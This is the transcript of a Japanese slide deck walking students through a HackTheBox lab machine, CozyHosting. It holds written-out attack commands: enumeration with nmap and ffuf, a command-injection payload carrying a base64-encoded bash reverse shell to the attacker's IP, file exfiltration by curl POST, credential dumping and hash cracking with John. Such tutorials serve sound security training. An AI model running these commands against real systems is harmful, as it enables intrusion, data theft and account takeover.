Upgrade to Pro — share decks privately, control downloads, hide ads and more …

とりあえず HackTheBox をはじめてみる

minanokawari
March 03, 2024
1.7k

とりあえず HackTheBox をはじめてみる

学生さんたちと一緒に HackTheBox の active machine にチャレンジしてみたときの資料です

minanokawari

March 03, 2024
Tweet

Transcript

  1. $whoami ・NTT Com.入社 6年目 in NFLabs. ・脅威分析のおしごとなう @strinsert1Na ときどき採用活動やリサーチ, CTF

    なんかを仲間とやっている 3 高田研OBで当時は警告の研究とかしてました
  2. セキュリティのトレンドの変貌(個人の感想) 10 5~6年前から一気に “Offensive Security” が界隈でバズりはじめ RedTeam を持つ会社が増えた … 約10年前

    5~6年前 現在 ・脅威インテリジェンス ・アトリビューション ・ユーザブルセキュリティ ・ペネトレーションテスト ・オフェンシブセキュリティ ・SBOM ・ゼロトラスト ・ASM
  3. Boot2Root 12 HackTheBox の machine の場合、ユーザ権限のシェルを取得したら1つflag(user.txt), root 権限のシェルを取得したら1つflag(root.txt)がもらえる root のシェルを取得するのがゴールのイメージ

    HackTheBox はチャレンジのIPアドレスだけ与えられるブラックボックスな状態 で水平・垂直方向への展開を目指す Boot2Root 形式 起点の探し方や見つけ方はツールを知っていたりかなり経験による 当たりをつけるといった部分もあるので初心者の参入が難しめなイメージ CTF やったことある人は Jeopardy 形式のチャレンジがなじみ深い? もしかしたら Attack & Defense (King of the Hill) をやったことある人もいるかも?
  4. HackTheBox のスコープを戦略マップから見る ATT&CK Enterprise Matrix: https://attack.mitre.org/matrices/enterprise/ 13 攻撃の進行 列挙 初期

    侵入 + 永続化 権限 昇格 ネットワーク内部・ 隣のネットワーク への進出(横展開) 機密データの物色 持ち出し 多くの攻撃で最初の目標となる、侵害端末の完全掌握(権限昇格)までがスコープです
  5. 19 右上のメニューから “CONNECT TO HTB” => “Machines” => “OpenVPN” =>

    “Protocol UDP で好きな Server を選択(距離的にSG か 空いているAU がいいかも)” => “DOWNLOAD VPN” ☞
  6. nmap を対象サーバに打つ 27 $ nmap -Pn -T4 -A -sV 10.10.11.230

    HackTheBox だと “-A” いらないと思う(既知だから) ssh (22) とnginx Web server (80) が動いている 基本 ssh が脆弱なmachineはないので定石はまず80へアクセス
  7. Web でよくある exploit vector 32 今回の machine だと 2番目か3番目のパターン?? とか思いながら情報を収集している

    サービスが CVE や PoC が公開された脆弱性を持つバージョンで動いている サービスのコード書いた人がセキュリティガバガバ Easy machine だとフッター, バナー, ソースコードにヒントがあることが多い サービスの運用者がセキュリティガバガバ SQL injection, OS command injection, SSRF, etc. Joe アカウント, アカウント初期設定, 人とパスワードのヒントがプロフィールに載っている
  8. seclist の Wordlist を手に入れて列挙する(サブドメイン) 35 $ sudo apt install seclists

    $ ffuf -u http://cozyhosting.htb -H "Host: FUZZ.cozyhosting.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million- 110000.txt:FUZZ -c -mc 200
  9. seclist の Wordlist を手に入れて列挙する(ディレクトリ) 36 $ ffuf -u http://cozyhosting.htb/FUZZ -w

    /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large- directories.txt:FUZZ -c <= /admin があやしい?
  10. もっとディレクトリ探索 40 seclist の wordlist から Springboot のディレクトリを 選んで探索する actuator/sessions

    …? $ ffuf -u http://cozyhosting.htb/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt:FUZZ -c
  11. 余談: gobuster 43 $ gobuster dir -u http://cozyhosting.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

    メジャーどころだとこういうツールでもディレクトリ列挙できます。お好みで。
  12. 余談: autorecon 44 $ sudo apt install seclists curl dnsrecon

    enum4linux feroxbuster gobuster impacket- scripts nbtscan nikto nmap onesixtyone oscanner redis-tools smbclient smbmap snmp sslscan sipvicious tnscmd10g whatweb wkhtmltopdf $ python3 -m pip install git+https://github.com/Tib3rius/AutoRecon.git $ autorecon cozyhosting.htb ある程度探索を自動でやりたい人におすすめ。ただし長い。(HTBだと最近はあまり出番なし)
  13. 余談: rustscan 46 $ wget https://github.com/RustScan/RustScan/releas es/download/2.0.1/rustscan_2.0.1_amd64.deb $ sudo dpkg

    -i rustscan_2.0.1_amd64.deb 最近だとざっとサービス確認したいときは rustscan がおすすめらしい。 https://twitter.com/schectman_hell/status/1671566069259960337
  14. 63 Whitespace bypass 手法をググる shell の変数に ${IFS} があって、shell 上ではこれで Whitespace

    を表現できる模様 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Comman d%20Injection/README.md#bypass-without-space
  15. What is Reverse Shell? 67 OS command まで実行できるならば、 さらなる侵害につなげるためにsshのような対話型shellを入手したい コマンドを叩いて新たに接続用ポートを開けてもいいが、大抵のWebサーバは

    Firewall が導入されており新規のインバンド通信は許されていない なので、侵害先のWebサーバから攻撃者の 端末に向かって shell の通信を確立させる これが Reverse shell の概念 https://www.wallarm.com/what/reverse-shell
  16. やることのイメージ 69 Web server Kali bash -i >& /dev/tcp/[ip]/[port] 0>&1

    nc –lnvp [port] 侵害した Web server 上で Reverse shell コマンドを叩き、kali 側で nc (netcat) を利用して受け取る port は何番でもいいけど止まりにくい 80 or 443 をオススメ
  17. ちょっとだけペイロードの工夫 70 使用する Reverse shell のコマンドには”&” があり、これはGETのパラメータ には入れられない => 実行には一工夫必要

    一番安直な方法として Base64 変換して実行する方法があるので、 Cyberchef でペイロードを作成する https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0- 9%2B/%3D')URL_Encode(true)&input=YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0M yAwPiYx ↑ IP addr. と Port は各自変えてね!
  18. 71 ペイロードを送ってみる # kali side $ nc –lnvp 443 Kali

    側に文字が表示されればほぼ勝ち # Burp side # ;echo${IFS}YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0MyAwPiYx|base64${IFS} -d|bash;
  19. 74 余談: tty 現在触っている shell は、ssh や terminal 起動で手に入れたshellとは勝手が異なる (あくまで、bash

    の入出力がncを通して見えているだけ) Tab を使っても補完は効かず、コマンド実行中に Ctrl + C を押すとWeb server で打たれたコマンド ではなくkali の nc が落ちるので注意 tty コマンドを打っても現在のshellには tty がない
  20. 77 念願の flag 一個目!? $ ls –la /home $ ls

    –la /home/josh $ ls –la /app user.txt がない => まだ flag は手に入れられてない!! (おそらく、josh の権限が必要?)
  21. 78 だけどなんか jar fileはある $ ls –la /home $ ls

    –la /home/josh $ ls –la /app Easy machine の場合ほぼ正解へのルートなので中を見たい。 だけど jar だから手元で jd-gui とか使わないと解析難しい。どうしたら。。。
  22. 79 C2(kali)へデータを送る $ python3 -m pip install --user uploadserver $

    python3 -m uploadserver 80 Python の uploadserver を使うのがめっちゃ楽。Python で建ててここにPOSTする
  23. 80 C2(kali)へデータを送る - POST - # nc terminal on kali

    $ curl -X POST http://[your_ip]/upload -F '[email protected]' 上記のように kali の HTTP server に upload リクエストが飛んでいればOK
  24. 82 Jar file を jd-gui から見る $ sudo apt install

    jd-gui $ jd-gui application.properties を見たら postgresql のusernameと password があるじゃん!!
  25. 83 Web server へ戻って postgres の中を漁る $ psql -U postgres

    -h localhost ~# ¥l Cozyhosting という database があるのでそこを覗く
  26. 84 Cozyhosting database の中身を漁る ~# ¥c cozyhosting ~# ¥z ~#

    select * from users; Sessions で見た kanderson 以外に admin ユーザが存在する => HTB ならとりあえず Crack!!
  27. JohnTheRipper でハッシュをクラックする 85 $ gzip -d /usr/share/wordlists/rockyou.txt.gz $ john password.txt

    --wordlist=/usr/share/wordlists/rockyou.txt Crack に使う辞書は “rockyou.txt” がとりあえず安定。 password.txt には、先ほど見えた admin のハッシュを一行入れておく manchesterunited っていうパスワードが復元できたけど!?!?
  28. 98

  29. 100 $ wget http://10.10.14.48/linpeas.sh $ chmod +x linpeas.sh $ ./linpeas.sh

    –a > lp.txt $ less –r lp.txt ※C2 (kali) 側では $ wget https://github.com/carlospolop/PEASS- ng/releases/download/20231112-0a42c550/linpeas.sh $ python3 -m http.server 80
  30. In life, unlike HTB, the pentest continues after rooted 104

    --- ??? 一緒にやって root をとって終わり、では意味がない